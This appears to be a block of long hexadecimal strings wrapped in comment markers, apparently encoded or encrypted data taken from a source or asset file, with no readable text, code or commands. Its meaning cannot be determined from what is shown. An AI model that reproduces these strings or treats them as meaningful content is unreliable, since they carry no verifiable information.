4cc057719715a132dc2ee42ddd40fad64c26dade696d3220b4724857ba1c2b385ef1f63235c83c29aad70797dfe90b8481d95d7da8ed664f00e9ae12862deae77167331aaef1c528ec8cdaadcfcb19206718b9ad21631be527f838001f4754afdff9fb643a9f306bfc4eff8e30cf66983703dd093134836eb4020478e66fed6fcaef141c518dafb24bb8a99ecb9f7cc6318543225a424e5a8058a34ba426038bc07ce3fdc9607c7f8acc90547bfe7dfe1c701525f59ebb49ce9e02522a1d2783992eeed09a1e8e9a7366a2ad42ca6a84eb51d9d93412846b1a665a7ec44b4c5a4957be775cb174cf08180aef62f2403e963ddeb72d9d0a22be089e4bf4d0747277663087e84dbe9dd55db678cde3158e52d05285c37bac22de23b2b783d48709b2c7d4316dcd14fa99ee33bd1daece0cb4269d0adf66eb7d05f1088f9f68bf8b481f008ac0fa7fe7309be17b4ad472a5502e7530266f989e6c76049c3ef2bcbb5b895c1724ef709bcea6ac4aaa16386d19fd4050e9a2775900db620c6b4baf2b5710c6ef75c3f6ff341e0176d304f9d91fc118143487a49fdcf9ce9dc84fca06ae4fc7a3788bafae84fe39cf6646cebdca561985f7fee923eef728732c7e9e8fc0aa034154a3b3bf2b2ebbd18b294506beefcb02af888e0437deb3a3cffa48805957b89f07a8c3e6a148a9a05dd7e413a20332665f41c7ac7cadec20dfc9222fdc07a20ba75de3b5f36c3beca97206467c68739f6e073b3a64bd957ff5f048ddfba4f98feee774113c0c570428175f3f181a13e2ece9c72b868ee00667044ac15fc40bcaebd84dca2e2390ebdd87a94d18837872bbf4afd79380d7766a86893c19ff7240a0a3293ef4681dcd239d03a6c7905e5aaf530613cb10e93acca35a414a48fcacfec239654ac6c2ffb99a3aa6ed9da92e8eb72ac760159c0199966796aa792b36c403f17ab7d6e145463a4bf11ee2035b82a2666179dd788b5b048eed0a974ad0aa6589953bfa360d59f95e9185c014179c975bd6acfcbdb085627b3ef8067aa4353bf82aa28f890d148a4d4d7a0009269052fe99f3ab70163b647e464d513942d9a64ed5b39c71e22ffc93ba319d5af2bd2ba322e5464778a8af96a15fd2a8370c2d2048f2b9f30f1d3547fb0facb7b1cc17f716cb72395c3cb306ab4b57b83f51e836958d504ec5577ea2a35dc706aff151f41c246b56127c83ea1bafbcd12f8145a699245641ef3a4117d2d1ea9d61ef5552b9847229c0b0d50310e058400886124f7b081d10e1b399ddea065388db618db77da0537c79f12c9cd50f31b32d40d5f638b882ced1837f9a2e3ed55622e70aae1158df8f414ae1a5fe1843c34023ee201d9c5b11462149a18fed61a861fc1f43df25bebfd05bd10de3a7684f0cf0294715ef54f168c297f9072f16986f96da59dfa44ddf93d541277659ed46ed4f87217fc4a89f5e91f72cc53a1abbcb4b82c3fcdd8aee29cfa1846b94ca86658785b7cffca703b092174eca2b56825988be7f249c290e1ad3318703a31061af6ed027398e17aadc9395dbf1ec5d5fcbc2d8082fbfa1b1e78405985054009071923eb2edc645e782c127a8f6791bf2cc993235d87861b8d6bda3748e61297baaa8e4977728ef1a5290206ac32fa5a700d1e250ae45e20fea7fb5ff91ca63b84580f5f0a6846af19a81bd419c55bc38b88c18dc4e9645418a128c417ee49cc779fbe12acbbe0f3dac2a6c45a36c933ef3a1d722a2caf7b1f154607f4c99dcb781127dacc826798cf0a65b93feab8755bb22add241476050cad318216b98c0c5b63201da998ce2d23dd1a2acf74875ef67e34a5a0b6c19c83dc5879b7552c68ce2af36211a716ec9b0dd5dc95171f67deb190dcab2ef16009cfba83b2c3a0c7843cd478b56879702bbb2ae8e34ac07d0f7068e0d84f6e807b1a1be3c90b36bc24a436d673a13282d9a6fe5108bb91beae7c0389dd169f03b1c239870a543768ae4fee9909910b0523dc6cfaad5e2230c573c01f71c647921845a27735b6fe54ffacab0b6668b20469fba2260185c9f2079a4343205b4c92f9362f292170f7f28d0b826732a0601bb238e33b4f76aebad2c0b654b090908b4680bb745643662d0f4d44fb604fda767ac6c07bdaf3ac0374fec8d*/
/*3cb2b941977c2fe42714aebbb3f618970b85597579d0014da5c202b22cc02b4750a6bf029791adc41de3baab864d59f1d5872d68c3745460f4f02fa9cfed2962bd1f4a04722e191d5f89a01a5ae20e52a1ba244b96ee89589bff26703c3005119d3e5e35357777c5b23954e23fb9c50bbe5d0ed6990d24f9a364e56843786276f7411c293fbeb27756ac1787f52849218dbc049a6d32b657b4643833aa4f1a509adc191cde342fbd09f5f552c244baab72f762821a29e27e0a5e55f989cb60a689d917b53f7a9369b8adbd003e35a058613294dc08948697743a696927f2a48270d5323b12cb38c2d3b8c8ed5738374ed41055777fa9e83727b22f4de6066ed7482eb5b587c1346c13b65a351efed0549d90492f4454228759b8d581bc226cee19763f5a756525165ffb00b8c1578dca5327dca4648de6192ac99fb0ed58776566a3477d1553b98408bc95bbde98343cd570995d980fc51563ee8d74823619b4ead1adba53ba81aa92d24af44535b1033c38cfed433b9dc43a1ae691e21a7ac03bc7f9895f398c298b9991dd98b53f311c3f7d03ce039079d86417580df6d8e247b92e3f0f69308726037b8636f54e921990089aa278801db51a1c5e13ece67af2f00802a93bdad404f73c82acc7de451a25dfe9f42c27e86d2ec05e6cf2155bd5e19c2f04bc6f9da3590ed66716ad8a261b6df9a2f0c6a85bdc98c53f2f47864105eea3a19ff4558124c35c9ccc99e6e5d4776869c07a042b7365f9aaf0b5d6f17de673f0b5380da1295522fa79988e89f475edbade6d60480cd71c09174c9395374f4086c6557376ca6881da1a2ed8caa69c39f7ce5cb2d2c793f866aa100d8894f7f5191fdd9b538d8cc5da413f8a83b2657e61e6a9d5603b78805e618804e9716f104d8bd78741869f07100279cdc0ee0cc2ee575fa6ee0c42cf3da4bf0273788580a5ff38244149419686a47d51ddae3b196b6854ccecbc871e2b32c74a95b8199a5acd9eba4154c41e6599739b11c4d66a443657d5ba56defa08ad3b8653715da80e030185d1b626427bc9a4624040c09b02d098d749ca3c1fbcd59d68f184166d23cdf02fe303225a2f34c153603b30c9ffc06978f0aaaf4abe34b28e866076d071c05b4d2151905ccfe51daf16aa638780980b7e3e32ed2e00714278dbfd08da309467d76c5248ab30b272733b1023e442d4a3c0ae84047f26ffdaf9d97778b67f32b2f6d8fdfc199a1c6a6b101ff08ba5579449be736f0609a44d86ed36f22817b30e694166619ceea59b033186336691c00e8623193d5f655f6ea590252cc61846e1943d5c8d5adc1b667a59e0574dd1d52c1eff834b1bea94c1deec8b76fa22f0e4210ac488611e4ce63f0797a53849ea2432e6857ba03fdea9e42cbe9d96e44efbbc74222d8f08d9801fdc80252e25742f35f16975be1fe177ae20621980ada98c3475a0b5f2ab97b59de5c4e3f35e194f5f14dc13364dafc153c24c8c9a74ff20e200eeb06e8acffc7bd2e7c79146ebff89edfd5a90f233a78b278b38094b56eb3016906d8fdfdb878bdf8c0e8f0863295530faa1d2be3ecec494e6ef307b9bda06384ebc629c1e8137cfc12b24d86c8d31bcb60627e9be1c2b0537605b956af38b17090c483d2901f388502be46a6ca1d9cc409d7387759991129fd0812e3afde9fea9a7bbefccb2f41b005d16386a532c83b4d39e1cf5617ab36aa644c9d4d41664dda7df353f63d77fa18667dcdff8356fb102f217e764dee7960e577f5e8529b267a37296245d05ef30f851a3a6e71bca03999fdf7eb659e371c85c4bc7c786892adfdbaa75d6086692efe7ed2cb9b672e98eb2851d84ebbe7327d7c633a0af4e579c1546b8597de7249217f7a3d68a7187a5c115d3d8893c8bbdd5c5386061fe97e6e65b4e42e6b632ef934f5421feb02be9826e9e7e6fa7e115d458c3a1ccc8ba71c22de49121b6a47cd0a9cbffc7ae8364fdabfcad89e821eaeb3c209f7f84d97bb9f4d4f730c84dde71ed073486e129092885caa0da2bc9d08060aac0e0d1e0d3a847e51b7566a720adb062340d868933a10a41a5884d8678890322bce552db32b28b0ab7c9551c445ce632c269ecdae84638d7518b8ea5172c721eea90df0ba7eee2851405cf199bddabe8a354f07495075dc9ab276dc69c2feec200ad71d75fa9a6a10adea00fc0efcecbad03a7c0704fd9d5dc69889a570cdea93511c7ef5b1aaefe65e85e5cac593d65ce502388a70f97f956071f01a883673e0fb376face16f7181e1c6c6165ba0c8090eab18e68a9c300457dafec8ee50be7f3eeb5df9c5b645f5b5a9ddff21b48cfe11fd33ace9157b8193e1cafb426d24a78394fd06230c23792765687b6116817d47248c4acaf24b5ec2837b072a09a9d1db4ed7bf7ad20849bf0338f2abfda36eb0f10b79fc20709e7e0a142f941130dc84e7efd16eb155834fd5126bde857ace83bd1a1f8f01735162811c4bf149c3ab8fb6ba4c45adcedd06dcb18aeffbeb861df93a559c47a56105b25853842564fb0231a8c9b4673b9c82951375242db44caa26ea9340c05a096681a6182fd1d19ace80c2c7552f844ff256bf62e039de8ac31c7178e599f39250c757340c0851ece679dfdcc7ecec9bbc7760c377a7279504f5e196447f802eb211f60bfbc7eb6500343dba9daf958eeb64b24a8508c58ffbdf92f8203dad769013da49cdee967ee28aa795d3e4d3a1558c365ab88f2c1b454462d2604acf224fe7916fcc7dd58e5bfa8575c7d9a1125788ee39f8004b69528b9f8e774dfbe76e48c4ff080264e7320532d1f30537b78b0*/
/*961e204551dd1377fc8b8f49bac9b64cc9e344f9e089e7e80bc44e2f055bfd6ddced9dec4bf711bc93e87cdba40681c139f136f8ba5e15e7f31d839f20dfe21a7c5c093935a833381f4fa49ebde911b7fb7aefdf744ef859499aca6e225ea079f4d2d8c72c24c4b244f008f92472875cae750e3aae8f328c3fa4ba677bdde6de4ac651a25305507fef18e2697b00f26948dd556bbab19674a085c41c2dc53add31d0bb696a12b2ca73e82fef7315c1325c4ea0db4759265ae70953a24690ec6dbf5e13abf9ba1c56e4e8ed9ea5f87f49ec47a4926badac3499d34c8878a21f2d1dc34b6dfe39fd63bceb2a99df7fe7f67c6e690381c2319454dcfd618d79cbe0fa805e754c611c79d18c6abc31586be47d2ad9d8f61a8775a357a506793480e720abd5a0c98935872bb19e34b70b6e38eb17874e251a742948d2ea3a111564c98b264774da2e7cdeba9b7070c07e71ab3ebca248b1b3de61e6ed6464ccf466db70b2e369c2727890b6b4e82cb848dd6d3c0336fd0c91f84617df05b660696970104c3fcf575eb424eb4f5363422da38ecf7621f174c729f00617bca41e781b65e48f5777a64caf81a21f68eff0bc6c2fdea808eeb0f8566451747db5a9dfd4666215af6d895cad4392d0dffc2c6c0298eebf6abcefd20183f8e21315956bef6ddd0236f06b55d2309c9cb324c1a466e4adf71b467ee43bf7e8f83425db0a64683a569ff817053de1d2a336c16b95c237913d4069f2551f514d83f019f4a0d272afdcead1bf7eab84b84715486d2053a5878beee9fb479506cc5cd2c0afeb5350901cd0c5e202a32e7ebb9c156b0c6b4701a647eaf10d7ade33dc0aaec8c3fb2a74af43e6ce882ae2205a9b0b73e2c62aeb776f0348a2d8d7b3acddec70c92b3b44efbcfab75f78b4677de2bed8b0e0cd40d86f3bc7bcb16d25822d68c0a783d55eb27210e15cbacddffe014316eebd24b820ffb9aae6b25d91b1f94b517f49ba66a408d85f564706209d1dd770d8a28241d69f05e1c8f9b1273a607a93043d20515a233829c264006f67af7668b5b161d5bf71aae0afafd526d928bb6ba18132efc06194b8824f66b7c159e632c70779dcb841392b80bb2bee9b9bd33496ebdb3a976e4bea8e5c3e277f6238e700c7ea822fb514cd8d5b64b4d2ff45a0f345139b00cf859ae209cc7c785004d3b8a03bf07e8e8fe61ef4a6e0b66b019fd185b34ce9f91a186af2e533bcd4ff39bb7581dec9d85dfd2b85afc0990f8c3057faa36389264453e21b4059926d1a11e34f98240192eab778b88e5dd6282cf97a290decec187d768bf47c59e71676035f24e0aa4756db5dd16201112df4a24293a1fdff32cc13d6dcee5ad77e1f302229c3b9202ac7d6023c7af1a096c846b066a5202631abf042898e0c954ca5653be11758129d995cdbdd523c91436d8119cd5834af21deac8c4233fa7ffc7f94443a9d6aa3562dd8a54899238e27c3de42e5f88b3f6502b9b342d654485f67f4cac5fd040e87135f523f64fb24ab67aa758a6a60b4ec64c112af0304aef4c86469138e19edbd6802c92ee51ca73c70b1df3a6721345cdccb38aa11c5570eee62a536912a4abbddaf2e235f273085feec290008bd024538374bb37c076658feea9ae0e0a5b4e3a1d839e4114746771b631e23953535e755e0f8da475d6ff87f2ce54d27e0ce3f8be5e9c31aa5e594636d111f3344496ffe0f7bef34f10ce16036e32c9ad37ce7061e5e3d0a4a785607afe39b45d16f88e81fc582d671b74d06c7b01a57ddd70277f4399f03d75292870eae89927d04e0fc2a4cb3fe385042a653f4d4d6644faa495e87c16931eb7e22c71b1c0399c8d8389cc9f4a8b58df0ca1e0d93262cd19bc74f6e9672a28a12e22027e09cad0491355d4a9f75f78402b93dbe6c6840cc16a962aa025b4d9ee22dd5a02b861bed24b4a76787dd199c261e710b34e8bd1741989aa63f81ce075146cf2b85f54a529565771999a0e2c20031e9dd4ffef86ef3ee7cf6a53a0a6aa02ae2fcc23494ecc243926436a6dfdc5aee41b41d86d760cbf4f0cb4aab37a65fb5027600d2b29cfdf9158c4c896385a283abb7a3e5edd320dce41372562e8e11cbe375737c409e074678053a79be7b872095c145601e5d37772205c68b60936d58339ad7c59366fecc411e37fb1e0f2af644b12143369cb5815e8bf52818643ac208812647325ac9b00498e554405062fa62db636f5a4cf4cdc607ec51edd3a1c3963cbbd1209c0b473629833faa429b27d7ef64dc686a51fbd29957e8f11c684030f74ed4fdbdfc0c792f932bb7d5b718761d77337d609fff2272aef5322187ccaec36794f91f8d8e987c7039882a1210bf56a85f6a8b74e1002c6e97d9d8af05354bf21bbab664051d53be44bae303af32511082f5875ab7e18258a5d3c991ff924c3d76619dc5144393ef210bb87a2eec0585a853379a84c934fd00d9a8fed0e852b970a3d00fe14c2f408be70a172c95c85d436e5d8a63796bcd50910a41f9f48f55285375a2048b245e14b353b459df23d38a739f156ad4314a2f67438dd8b2f995950cccf5f34aa231ad51c53614c6bac4b794b9ea20835cf6b0df53692396d8eb3c86f26f77a5f293321d202c8791b9a9ff2753e3411b6ee7156d8b7bd7cd5a79c4f2452a389b2184c437ccce294eec093140bd0c6c8d646664196445ec7a68a2535a6750cef5aeed244292099ad2f445ad4b680a1b375131c488ccb491d99a8e23a402da01be36467737194eba7d60d09160532b0e913b32f827c5f1490082f155f76f6c04a1651cdbdd88a1e7fad4847921*/
/*29da247dba648dd2264d6c31cb12f3358c7f0d7a7a6c714dded39e995efb8b56dcdcf101a3752e01ecaed0c6450ca8ace3528e9f2dbb02582c3949535eda17a74a26a1535f4b2ed3ed1d93dbd7e8f256a338b50c2f0231356c9a1d85b3ccc9eedfed1d2d699d1f9d1ede8d541c3e909ffaa2fe1f580a30899d8b2a0d55136d9c2bdd744221f4185e1ac3ac11cd80911402ab3cac8a8b97f0c11f883da94742870907fc7ff508841bdda1adcd790e5c7147510fa1e3a069a15f7ec3a24ab8dc4f3cfbb5e2710d91ce1e4a3c51928cedbc519522f86ebe4910f94a3ef9949cd349b7e2fdfaee705d02e10428c13911c0737d59bf360d2069b323b18130ed0edc39a3ff948fea88c4bb4cb8977121ad4bd759457b77e9abb1aea09fdf49f562ad980d217dd28aab65a2d7b270b40f28163019e714b2b89f3f1a055df4214f9f09334c350d66506686422be54966ff14c3ca19dae3c426dc831badff5de6437b254353f5e4d09920c24a64e31f13cf44c36fdeb67cdb30a9f2ed676b19fc008f78ea249efccd8320ad681027d47dea8fd03789e459fb793a50bc1124e6da86771d543cf99ef76f9e162b75278cf85be86e11877e96dc9f09d694a263b93930f96e5c91025e7a12c1f58ccff2c802134d939cf3d28390c7d12fbe65b67d33fdafffac18ca0553812c7e5c1a7d40df30f81e556d2d4f27c2a5de23335583fe02e5c55a624fb2c053c10a240ec533e126af1c6e61353c053a3e5489cf107ba15303bc30c3afb06e9e177f7250166370a5a7c766a3a156efc26eef626100e3f11ee8fcea22d7018255c0c34ffac7cce909f059b6e5502e7f3334e573b40617d7a6f2640c180cd04e034f4bf5f57bf895c72f3e47d9af340baa46a8a937fe1f76458475d7707360a56c85be43c17e3f783eea017791fdbae273f738e0ee83c6bbfc5e07be3e5c984f7441f01f454f6d0c7272b1ba1fc696cc546f00b529e3672b9c124fe6aaf8a70f2a41dfab5abd60dff0b199f7552ae75a8afde27ba42d2a7952f5ce851a5b5fba270f4a2d839574aa3fbd581c12dc078d4758172fd3db75452b53d8663be43ea03f0d091883fe51f6343a8eabaa1500bdf16fb015702070b9612d5318906b79fa9de525b1fcc6bfd90989fb6c1293703f7a077913da33b45d6ad2363c98580ea3ee3d577b82e8e62613a15dedf0e26f6c868ad5cd76c0c3bd203fd90d5e41865a141795ada1dcbf6ccf6d140390e671f0b60906992d352832660cd82db48d1269b7ef055253c9d814eca4d2f9a880ddccb11870ec03b178a299674f511e35bb4693e51a1a09124d0ec0dd02dd435e98b61e1c05471ee025ecf740fcae51194e40e59c3af7d790122b232478887bcedb19a354b5e7c549e50249e05070695585703f914aa522b2922e7ace92221d0316e350fad4796f825e2fba52a570aaf0400a3bdab4c9eba7ea792c8884896ce33d2ab01ea610a79d120ded47180f62b029efe448d377f499a7e2ee202c80f6a63ee16a173dae262e4fb41188fc378097b0cbd780df803805477798be8a974b7ec2637d10a9c2aa407cf307428e1eb64b17109cb95e44ef23c0e92ce8d608f5584c525dbbe423a922d37070c383361557a9ded613b675a8e10eb12ec670cb5545589557778ed5caa8f0e71c5319d321931fb9e8e030249831c25cfc6367a657413ac1ed74c9ae2bfc5905a7f95830f6c71a28c19a5e3b07c719c866663a872801e54e82e8d2951ee474d14c08d671051b352555af6ea62e690c88b1401fd9c5058876ab015e3503929542b1ea359c344653ca6d5a064665fb57c9302d53d3a143fe6e46eff284f57c08173c84838d1cb7cd8b0e8047328ec7327b4684cdc93849eab5b6b8991d6dcbaa2e06fe5ae29ef28a9b3d0e2e7ca4c55ef315c93b7e8a1c9fa12822b190c91dc4d88dcb94d5d970b3e163db0f504a81a92d39618f8a865d8518e37698c7da7dbf1afc71ad66a21c45de5bff788149712f674d912627b6c23cab9ffa5143772df92e48fec73ac2a33261165b1a97c7dffda2407f19a9aa0e118baa848a75f933961ac3e91c25e4f68a1f7e5fcb29f0c86f74ab377d051f2b7b0d03eb65a3f6f2b1911ff25c2df289c346603403f4ea48728a1ccc6f89592aa93c86218f72315c278b217d80c7dae4dd0d9840d80ab5b2e9cc0d1a667185c829372ff766170504662b8fc9dd7b3d5dcca0abc9ca94d6cf87e9a382de7956abe75f37a0769059ac0a37ddc5e432139884b43f5b5529d8c7a48135a16cb99a967f8d0fbfcb401a092b3411e98dd4d6e611ff369c3c90e27b566695136084fe960b8d4b70c642d4deb4180fd8e709a26fa5dd5f47c155a92f125b397edaa2a446dbfd37e816af0b1c4c195b276693afc7949109865043ce6d32fa1e8e7f749e92c8c4851860159c461b4b6eb32b7ffc254c411bd64c175196d99710e207f70f360ab66af62661741da24781b996af5bba74d50e4b749866dc920b5ea87fbdd8ef443674d14413a889a77d64bfa0109f661c84d7347c7b0fbb741b1e3af3ea10d22fe70539e8759177f311e855a12d266cce6b4c9e597757001ad909ca158177eb42f53399848d9bade2b31315575268127304058e7cd8b321c32ae8e1f970948d5af53f5f05ca4b6450eb3f388a832e7abb1e00192df7a3870e7511aad12c83c3429b42691c6ec75eb05306e4c254fcfc1266fb1911d17acd28b0616d7a2cd90883c439c5925bbb431b79a8a0c94338726975912528d698c4e60cf6bd7a17a3eb4388851de1625501d99466730a966ece596426e4f94a9afde43ed2702d9a*/
/*5eddc7152813e40821fb96ba608aa072b25a4583e37585ddb99487cb6495bafd74117128ad737a5f5862b842a0563b932efda2d56451037dcfff6200d0f56570c9d81ff800d5257f7774562114f7aed84488786ec3aefe1634813e0348faaaf82fb22502236ab90fa2b32d6507795acdfdd0c7fcda7704e4dfce4de5c8deb1dad8000beeb558340b8eb25bfe3b0d96f8472bfd5b19fb618d5bfd8d4e309cd74e58d987a91fb217d5e46b412b9cb423ba9616621ddc68b2932085a9380b96213a782dd3c7f5a6d776d5840883715108e2fd8170a2ed584048347b5eab8bee38bf48fdbffbd6bfab968dade8f3986e02ceb560d9f38fd5cfb61e92d84f7dca1e3cf7668fa2952e45db771ce99ae0fb2d351ebf13b7d54ea202195c5ee1cd9d2e2b06a6b36fa68d7a7fa98cdd5eafa07efae59f60701d4603ac41d9c1fc2696bd7787fe843ed27bf81dbc61cb77d7f9c3c16a893b4e6f035dc1f28920d6c4e857f6ce893daa9a2b375c386fc1eb60998fa4083a2a0108851f38c68fd85b2a21adceeb52d5546bdb98dfff4bbc6d185c4589f0707efb2c4de4d6904686cfb8c66f1503b2a44e15cf9ffe99e128460970db837937639cc19788d2000cef0370d9c4447324a8960d90461931cf57a0ad637753ba7be1d7dd3fd9a15afc6ba5039bdfe596bc8a6d51d46a8f549013e7434e9c40614aa0854f87382d19d1919f5a6be0d8b06d2d20d269c533db8f4146966d714ea18480f1b9725925d0d0724300e4e1cc0dcb4fed7fb7e563e868e53615dc6b6037a539cfdc1e96a3b35091cc78a652de0ed957635c586281bcf5d2133aac0b0dbbbf4ceb19b3637ccea67b3bbc7cfa9a59f90a0f1b2628b7645188e6c1d6f1d49299b09afd84e9976188fc89277800fb4c8e9a7bc886f1f4cdc99d5a1fddb52cf9de1340f2f60792dd8ca8bed9b8896fed4bf28781df256a08faa06769090a7a510298c32f5a67c98cb3a1f4e2f5c4eb6c52b0938ec05c006084f1928048e8dd847f1514d7abb639be23a49de34d818b9cd097585d2ca9be5fb97ebc2de17acede1d407d5a857bbd2066334313684ec267cfd11f3dfad22e92429fd0dc45b80f39f58a2e73fb30f6fbab0befb51d43f8c5ba392d8be39213e54524dedb19c3c2a7ee3d1c693ee4ad32d62877b29b589dd043c6494f63e09306bb154854a2ff5b02593891a056d9c59ed5467a0744ea8bb66ed7e3629a71cf4e26b3d4f5311131828e8545e32568caafe4518b888bdbb30348c080304d811aba94215a630a0efec18fbf4aefaa886148ded647cc87ffece18003303acdb96fdb12199ad6de78409fe059c96feed3e7ce9b7b04a03155ffa3e56491c90bfa7bd99d0eee0a165549811d43b8822b53d84e783433261c11b809d13d2a385c52f27285369c11f06a01ef56e1979bbe8449ff5a8d7e6de67ae45cb8fc8847943d08b289a86fcee82f48139d66a5ba2dbf2b279515ead456d54896b4a2aae046e5e5aeb382cac2f61b58cacf9f810c3396ff5fff8d821e8392f98bc89c2eea8c6005dd66ea348d07bf1a3e6fe30281c8ea4d6acf4290efb8b980a07f3b37be468f4008e890f4b1c68f222957b27166594bafad922bbc825027499747a01d4c2ebc58b74df163c4074f45e38c80527ba167ebe795258f04ac7d48c8ade75a0a98355ee6eccc39da27af5a699a68aa518b0e0f69da6007cbbbf4cbf095c5b69fe8fafea3f8a7de825b25590bc8555691fdc8ec959dd8bcd8f3f91b0fea2647363fe37774773746bfab0a27692647f3b08ee12534da756e8f43ec352f3eee9a70dacb4526ae828aaca0b1fa4c734c758f22956a54ae4fbdbb835d52f20d8b071504855cca3df1989928b55095662b0fa3b259fdf2adc12ac9f2a7fd93b47affbf46db506ae063b8adc89d630367219e1449d287cb336e78d9da7616fd59c08fe4f753536e4a37dac46ec41bf86ce7b1825f7deb5299a1c553b8ddff09a0a7dbd3578afa0f333b70efdbb43b3a7647b4a0b8ca4c59aa148dd9317795383a08a22273768f890ae2c79978e822952397694a61dfabcae1b73c67e368a236df08bdbfecf11e1320abf017ada48c3e38edca91a7a152c3917d311322bc3d060c3d51932cfeb2d4e824d63938daa46e4c6990637e76037c1530f9bd05546947ed15300a93ba57b5ef286785b2c36d5e000603d621db19e4baf4f5eec976bbcb3ad179fc046b21a0c1288f3de09b53619dd51b703b4974190bada377120f5cf52022762fe6cd7d7c733c197b5eb4d3c6b7a4236e1f9bfab0172528f2eeab987824dd1a8cbaf989d38a4f2e2ad2d99a6c721ee4a2242f66e92813e82633b123336f81463ced0b4a6f4558b81ee3634a64b3f51e71ef598ec29522f24e32f7e2a85f969c27e88fe18f3c2f95e9b840b86de665b788f37c160f965d5e00e98b036f30a7ac8756d2523a27ab6d9b0db7ff50474d484720de0fffa157c8a1fdf549ac789c7212a4c6efcf5139b357ee5b8ee08612b65fb7eb5e69e03f586e540ffd8ff028b2e226570871a3a6e0150049bab6bb37e807f6ef5d231d95e98897a24c33ac89b15a798934ff4e3ac68912b516a2522ff613572557cd5c811ad5fd1d1255ea1985fcf37b506e11d32ce6bff15d29a8f6d483f3867179db49c2ddf9d02b6dabe107c282cef5fc6b54ab0b3bc9851f81321b2f17f81f0ccf976abceeb3d65067e349c4a563717795d7f1d47c5079e921a27da7e76d5a2917053dfc634a359e651a598068fa6a69448003b220fdc89fa8436979c92cacd20de863061f914a5e814be4bb2e46b1d4c049e1c94a1fe5*/
/*f44e35c396a3bacd596e9a40c228c7a33cb40b1fd50ce0a5cae5e36891229543ef0389ce870f8768de684544e89a5dd841e2646e7a83a1614ff75ac5ea9c0105bf7851935d7976d3a30d28679350bd0b12f16e1ce9511add78e1c4edb9811f444c5e31a7aac7ac8e4bb1bf85fe293acacc36a74d4675f5c7898706db79109e4ec5b14e355bca6292a135422729ba60aba7ef6c648267dc0cdf94c4b05f85bbc33dd18f6d1271036b699044158e30054f418cd19d2ce36e4489b6577e99cf82b01338ca362ad49f20fb4fab71db8076009686017f9b2c88cbad49e07dccff48b4d369f8159368e0456be97b6f2c9bd94645ec76da94c0419db8fe7153e8eb9cced504f42c98bd84a0a50f8a4afc3f1936b9f667ca9f877e2fe464a203f1c1237ff80bb7d8461f6e50c237e4685fbd8f018d2a1edca6d7c834dedc4df6db01d81cf1ef4c54e1beff7c0e0f99eb881fd91e81e99ffa00cf8e6e5c728415e16473309abb73137efa42c09d6c0fc8db0200ad2ac74576e6fc2d2ca37ad00821626fad82c2e031456e77563f605d2af72e325392f934fa3f6bd9cf457e5a8d27f9fcb47da1accc5d7458ef71d3f108793000ae2b2565824f8b4a9266870b34d8c9b91c68fa986a8d0272e85d78b75203dde0abbafcbef05ff84d77de8aee7d32071d622e1a1aa42657f8daa37f45f1033335a1dc3fba961d4987739bec62843fdb5e8922fcae2e916ae480105779df066cc8f1d79e5daee1db24d20cc0daff6598ed9b9651a3d2cb105c585e961be4323bf6de6d2fa8e52cbd51464d31c427ebcd3e642d999fa813277972287705ae2134b2b01b4d5e9eed757c25c395064acc013ca4074ff1143b78f5904f7f9100569b85a6a027caf620a0ae8f575b5ff4c27cd47e252e280763b02f0bb386c1a3ba30e57c8a00cc23c8d2d425afd411b41bdabf0ebe10ad351645e32b374bff17291fc8d90844b0e142c8a8b68ece8ee07909a4e5f2c3ed5809096da63fc98780d8f58e7ddb9ebd24b54cbe63590c6d1fab36c910144ae2b30e48261d990d741c88e08018f3b671aebe54d87c003906c8f856cd4aecb3ba4c3a87e274090c0996ae71da93f4272a5aba313ce19c688be606be05926a7906c1bd68f577e9c6967c9e510838e01b8a09e300f90d5b5d7f7af31a12e04964a4a16b5fb50b495112f7b4e0cd3c40ac7acd00c655abd46c650025d3637f7b34ca1cfa519b8f7614bbb0ee29c0f186cbd310c4a5d52ca1007b8fbdade51ad21796f92ed44c4440c11694ad86f37c5fe36d8588c0636729e7c2218de7c44bd0bd6afe90254728c169acb1d8f047f9bbc11eb0e17781b0cc5cc7835c747be8c989b48425ca4873e34a484c152cb59f6af781bd69890d6918d4e4f296399c22f2666e99a2c37c1da94656fe7cf00ce65bff8aee1bcedde6b45d2402a95e083ada8784760794f1f3f5c2e7a61ec1c120ac5b1baba64868c772e622312671b9d54dbd637f0e0f546de06bcd6b222c6e68aca5c243dfdfb27b04881eadc785daec0c2c57e52a00643a2aa7b00eac0d2af1f4c8ea7faa8e52aaeb120756f07e19bb901db84d56af01599e0d2a8fbf2c83a1d930ce0aab96d4eb4a19efc65050b45f5bf9b3f89ea96bca102e4cf5b768d2736b7b102cab1d9c26866d3ce74581162ed897bb34f4e287ddc18de18f5b4c89e2ef7a6712abfd59170d3591c169abe9b4f9816c7c72d942a6eb34603061772bc59fd4712b718175446a5c605a0d2146e61db920c0627e7b211e863af349f5ddcbdcdd4f5219bd640a7b5514cbf1e29f9cd508d9421814a267ecdb8fe6d62f4ff48107f0c513a42f100be811ba5db091c1c8727a9bfa11ad60f8c68b82b7de60a30a173f5eba50a18abfc59e7589719b205903a2266363520451ef34dab6a88515be0effdc2e1351d79799133726c1aae5f0e8301507474b381c6efaaa1e8da1d3bbc2d613b338924f53660bafacade2fbf37f5b451a0e5385c8fe92414aab5e8e65120b8440befc2b5fcbaa6fb7d2cdd87646f09de09866f8dafa6da0559c90b771af28724fef5e576070a0e86e5a61c051929b8aabf7fcbcb5f44b36d3d3fa93f9170fcb90a6af29a556f499b8e2f3235a479b818f563e0d04d4500ce2129a9c068b9a2fb24bdf06bcb9522aa11a2b737cb49e4ca06272d8df708dd22ef2d58c6fec938050f9ef735d742e108627e812016c3d60f00bf291b393b9d0352fb066d7741d33510d057a4006bd32f37a8e05bed9eeea53a377a4781321a37a07b86c88815615d4c6b7896320b25bbbcb7d020a27873a538c7308edf8329b79641b28f1d1393fd2daef038da581385d3734066eed2b9adb10add996e4ab07e6347acaee8b1244aeb4e0bf053f0de8ddbb8298ff89587a47e0352d554a17bb147e9da02967a3110eca5dbd9d340dc7b86a290bd7ea593f605cc92547112005b26d55fab2df3e87fbf490351d02fa4909b1ce0a6ebd46a321f19a473676faa37b5c918fbf56dadc8a18b82fade773b87ad57219d5492f9d444554a89e0684485aab94be92577a3c6b34d3b341bf48eb6dcc760b47fcbf2d14eaddbb1faff5fbbbaa756c77c869b7f4417f383d56bae53fb30cc5ae9aa1b23a26b0988b3dfc2e23a9def84f6f4da98501517d8ab9b893b680882c55c16e8a7191ce630ffa893ccee7ec7d871c9201398f721ed4f0052c38cbf4a13775cf2a72df1442f8d69c3320bc4f2bca84d9e4df486d276be30e8328ec0398f7d18185a61260956505c6ea756a252885a04a59487c40b0b5727b41cf5c392d93e7e8e44a2a5816a66e0f26cb65d232*